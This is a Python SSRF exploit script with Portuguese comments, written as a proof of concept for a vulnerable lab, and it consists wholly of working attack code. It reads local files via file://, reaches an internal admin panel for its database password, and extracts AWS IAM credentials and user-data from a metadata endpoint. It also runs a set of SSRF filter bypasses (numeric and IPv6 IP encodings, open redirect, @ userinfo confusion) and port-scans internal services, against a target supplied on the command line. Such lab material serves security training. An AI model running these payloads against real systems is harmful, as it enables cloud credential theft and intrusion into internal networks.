exploit.py

#!/usr/bin/env python3
"""
SSRF Exploit  -  Proof of Concept
Autor: Renan Zapelini

Demonstra exploração automatizada de SSRF contra o lab vulnerável.
Testa múltiplos vetores: file://, acesso a serviços internos,
exfiltração de metadados cloud, e bypasses de filtro.

Uso: python3 exploit.py --target http://localhost:8080
"""

import argparse
import json
import sys
import time
import requests
from urllib.parse import quote

# ============================================================
# Configuração
# ============================================================
BANNER = """
============================================================
 SSRF Exploit | Proof of Concept
============================================================
"""


def print_banner():
    print(BANNER)


def success(msg):
    print(f"[+] {msg}")


def fail(msg):
    print(f"[-] {msg}")


def info(msg):
    print(f"[*] {msg}")


def separator():
    print("\n" + "=" * 60)


# ============================================================
# Módulo 1: Leitura de arquivos locais (file://)
# ============================================================
def test_file_read(target):
    separator()
    info("TESTE 1: Leitura de arquivos locais via file://")
    separator()

    # Usa o endpoint sem filtro para demonstrar file://
    url = f"{target}/fetch-no-filter?url=file:///etc/passwd"
    info(f"Requisição: GET {url}")

    try:
        r = requests.get(url, timeout=10)
        data = r.json()

        if "root:" in data.get("content", ""):
            success("Leitura de /etc/passwd bem-sucedida!")
            print("\n    Conteúdo (primeiras linhas):")
            for line in data["content"].split("\n")[:5]:
                print(f"    {line}")
            return True
        else:
            fail("Não foi possível ler /etc/passwd")
            return False
    except Exception as e:
        fail(f"Erro: {e}")
        return False


# ============================================================
# Módulo 2: Acesso a serviços internos
# ============================================================
def test_internal_services(target):
    separator()
    info("TESTE 2: Acesso a serviços internos via SSRF")
    separator()

    # Acessa o painel admin interno
    url = f"{target}/fetch-no-filter?url=http://admin-panel:8081/"
    info(f"Requisição: GET {url}")

    try:
        r = requests.get(url, timeout=10)
        data = r.json()
        content = data.get("content", "")

        if "FLAG{" in content:
            success("Acesso ao painel admin interno confirmado!")
            # Extrai a flag
            parsed = json.loads(content)
            flag = parsed.get("flag", "")
            print(f"\n    Flag encontrada: {flag}")
            return True
        else:
            fail("Não foi possível acessar o painel admin")
            info(f"Resposta: {content[:200]}")
            return False
    except Exception as e:
        fail(f"Erro: {e}")
        return False


def test_internal_config(target):
    """Acessa configurações internas com credenciais de banco"""
    url = f"{target}/fetch-no-filter?url=http://admin-panel:8081/config"
    info(f"Buscando config interna: {url}")

    try:
        r = requests.get(url, timeout=10)
        data = r.json()
        content = data.get("content", "")

        if "password" in content.lower():
            success("Configurações internas exfiltradas!")
            parsed = json.loads(content)
            db_info = parsed.get("database", {})
            print(f"\n    DB Host: {db_info.get('host')}")
            print(f"    DB User: {db_info.get('username')}")
            print(f"    DB Pass: {db_info.get('password')}")
            return True
        else:
            fail("Config não encontrada")
            return False
    except Exception as e:
        fail(f"Erro: {e}")
        return False


# ============================================================
# Módulo 3: Exfiltração de metadados cloud (AWS)
# ============================================================
def test_metadata_exfil(target):
    separator()
    info("TESTE 3: Exfiltração de metadados AWS (IMDSv1)")
    separator()

    # Acessa o mock de metadata via IP interno do container
    metadata_host = "http://metadata:80"

    # Passo 1: Listar roles disponíveis
    url = f"{target}/fetch-no-filter?url={metadata_host}/latest/meta-data/iam/security-credentials/"
    info(f"Listando IAM roles...")

    try:
        r = requests.get(url, timeout=10)
        data = r.json()
        role_name = data.get("content", "").strip()

        if role_name:
            success(f"IAM Role encontrada: {role_name}")
        else:
            fail("Nenhuma role encontrada")
            return False

        # Passo 2: Extrair credenciais da role
        url = f"{target}/fetch-no-filter?url={metadata_host}/latest/meta-data/iam/security-credentials/{role_name}"
        info(f"Extraindo credenciais da role '{role_name}'...")

        r = requests.get(url, timeout=10)
        data = r.json()
        content = data.get("content", "")

        if "AccessKeyId" in content:
            creds = json.loads(content)
            success("CREDENCIAIS IAM EXFILTRADAS!")
            print(f"\n    AccessKeyId:     {creds['AccessKeyId']}")
            print(f"    SecretAccessKey: {creds['SecretAccessKey']}")
            print(f"    Token:           {creds['Token'][:50]}...")
            print(f"    Expiration:      {creds['Expiration']}")
            return True
        else:
            fail("Credenciais não encontradas")
            return False
    except Exception as e:
        fail(f"Erro: {e}")
        return False


def test_user_data(target):
    """Exfiltra user-data (scripts de inicialização com segredos)"""
    metadata_host = "http://metadata:80"
    url = f"{target}/fetch-no-filter?url={metadata_host}/latest/user-data"
    info(f"Buscando user-data da instância...")

    try:
        r = requests.get(url, timeout=10)
        data = r.json()
        content = data.get("content", "")

        if "DB_PASS" in content or "SECRET_KEY" in content:
            success("User-data exfiltrado (contém credenciais)!")
            print("\n    Conteúdo do user-data:")
            for line in content.strip().split("\n"):
                print(f"    {line}")
            return True
        else:
            fail("User-data não contém segredos")
            return False
    except Exception as e:
        fail(f"Erro: {e}")
        return False


# ============================================================
# Módulo 4: Bypasses de filtro
# ============================================================
def test_filter_bypasses(target):
    separator()
    info("TESTE 4: Bypasses de filtro SSRF")
    separator()

    bypasses = [
        {
            "name": "IP Decimal (2130706433 = 127.0.0.1)",
            "url": "http://2130706433:5000/",
            "description": "Converte 127.0.0.1 para representação decimal",
        },
        {
            "name": "IP Hexadecimal (0x7f000001 = 127.0.0.1)",
            "url": "http://0x7f000001:5000/",
            "description": "Converte 127.0.0.1 para hexadecimal",
        },
        {
            "name": "IP Octal (0177.0.0.1 = 127.0.0.1)",
            "url": "http://0177.0.0.1:5000/",
            "description": "Usa notação octal para o primeiro octeto",
        },
        {
            "name": "IPv6 Loopback (::1)",
            "url": "http://[::1]:5000/",
            "description": "Usa IPv6 loopback para acessar localhost",
        },
        {
            "name": "IPv6 Mapped (::ffff:127.0.0.1)",
            "url": "http://[::ffff:127.0.0.1]:5000/",
            "description": "IPv4-mapped IPv6 address",
        },
        {
            "name": "Redirect bypass (302 → serviço interno)",
            "url": f"{target}/redirect?target=http://admin-panel:8081/",
            "description": "Usa open redirect para contornar filtro",
            "use_fetch_filtered": True,
        },
        {
            "name": "URL com @ (user@host confusion)",
            "url": "http://google.com@admin-panel:8081/",
            "description": "Parser interpreta google.com como userinfo",
        },
    ]

    results = []
    for bp in bypasses:
        info(f"Testando: {bp['name']}")
        info(f"  Descrição: {bp['description']}")
        info(f"  Payload: {bp['url']}")

        # Usa endpoint com filtro para demonstrar bypass
        if bp.get("use_fetch_filtered"):
            fetch_url = f"{target}/fetch?url={quote(bp['url'], safe='')}"
        else:
            fetch_url = f"{target}/fetch?url={quote(bp['url'], safe='')}"

        try:
            r = requests.get(fetch_url, timeout=10)
            data = r.json()

            if r.status_code == 200 and "error" not in data:
                success(f"  BYPASS FUNCIONOU! (Status: {data.get('status_code', 'N/A')})")
                results.append(True)
            elif r.status_code == 403:
                fail(f"  Bloqueado pelo filtro")
                results.append(False)
            else:
                fail(f"  Falhou: {data.get('error', 'erro desconhecido')[:80]}")
                results.append(False)
        except Exception as e:
            fail(f"  Erro: {e}")
            results.append(False)
        print()

    return any(results)


# ============================================================
# Módulo 5: Port scanning via SSRF
# ============================================================
def test_port_scan(target):
    separator()
    info("TESTE 5: Port scanning interno via SSRF (amostra)")
    separator()

    ports_to_scan = [
        ("admin-panel", 8081, "Admin Panel"),
        ("redis", 6379, "Redis"),
        ("metadata", 80, "Metadata Service"),
    ]

    for host, port, service_name in ports_to_scan:
        url = f"{target}/fetch-no-filter?url=http://{host}:{port}/"
        info(f"Escaneando {host}:{port} ({service_name})...")

        try:
            start = time.time()
            r = requests.get(url, timeout=5)
            elapsed = time.time() - start
            data = r.json()

            if r.status_code == 200 and "error" not in data:
                success(f"  ABERTO  -  {service_name} ({elapsed:.2f}s)")
            else:
                error_msg = data.get("error", "")
                if "Connection refused" in error_msg:
                    fail(f"  FECHADO  -  {service_name} ({elapsed:.2f}s)")
                else:
                    info(f"  Resposta inesperada: {error_msg[:60]}")
        except Exception as e:
            fail(f"  Timeout/Erro  -  {service_name}")


# ============================================================
# Relatório final
# ============================================================
def print_report(results):
    separator()
    print("\n RELATÓRIO FINAL")
    separator()
    print()

    tests = [
        ("Leitura de arquivos (file://)", results.get("file_read")),
        ("Acesso a serviços internos", results.get("internal")),
        ("Exfiltração de metadados AWS", results.get("metadata")),
        ("Bypass de filtros", results.get("bypass")),
    ]

    for name, passed in tests:
        status = "✓ SUCESSO" if passed else "✗ FALHOU"
        print(f"    {status}  -  {name}")

    print()
    vuln_count = sum(1 for _, v in tests if v)
    if vuln_count == len(tests):
        success("TODOS os vetores de SSRF foram explorados com sucesso!")
        success("A aplicação é completamente vulnerável a SSRF.")
    elif vuln_count > 0:
        info(f"{vuln_count}/{len(tests)} vetores explorados.")
    else:
        fail("Nenhum vetor funcionou. Verifique se o lab está rodando.")


# ============================================================
# Main
# ============================================================
def main():
    parser = argparse.ArgumentParser(
        description="SSRF Exploit  -  Proof of Concept para o lab vulnerável"
    )
    parser.add_argument(
        "--target",
        default="http://localhost:8080",
        help="URL base do alvo (default: http://localhost:8080)",
    )
    args = parser.parse_args()

    target = args.target.rstrip("/")
    print_banner()
    info(f"Alvo: {target}")

    # Verifica se o alvo está acessível
    try:
        r = requests.get(target, timeout=5)
        if r.status_code != 200:
            fail(f"Alvo retornou status {r.status_code}")
            sys.exit(1)
        success("Alvo acessível!\n")
    except Exception as e:
        fail(f"Não foi possível conectar ao alvo: {e}")
        sys.exit(1)

    results = {}

    # Teste 1: file://
    results["file_read"] = test_file_read(target)

    # Teste 2: Serviços internos
    results["internal"] = test_internal_services(target)
    test_internal_config(target)

    # Teste 3: Metadados cloud
    results["metadata"] = test_metadata_exfil(target)
    test_user_data(target)

    # Teste 4: Bypasses
    results["bypass"] = test_filter_bypasses(target)

    # Teste 5: Port scan (informativo)
    test_port_scan(target)

    # Relatório
    print_report(results)


if __name__ == "__main__":
    main()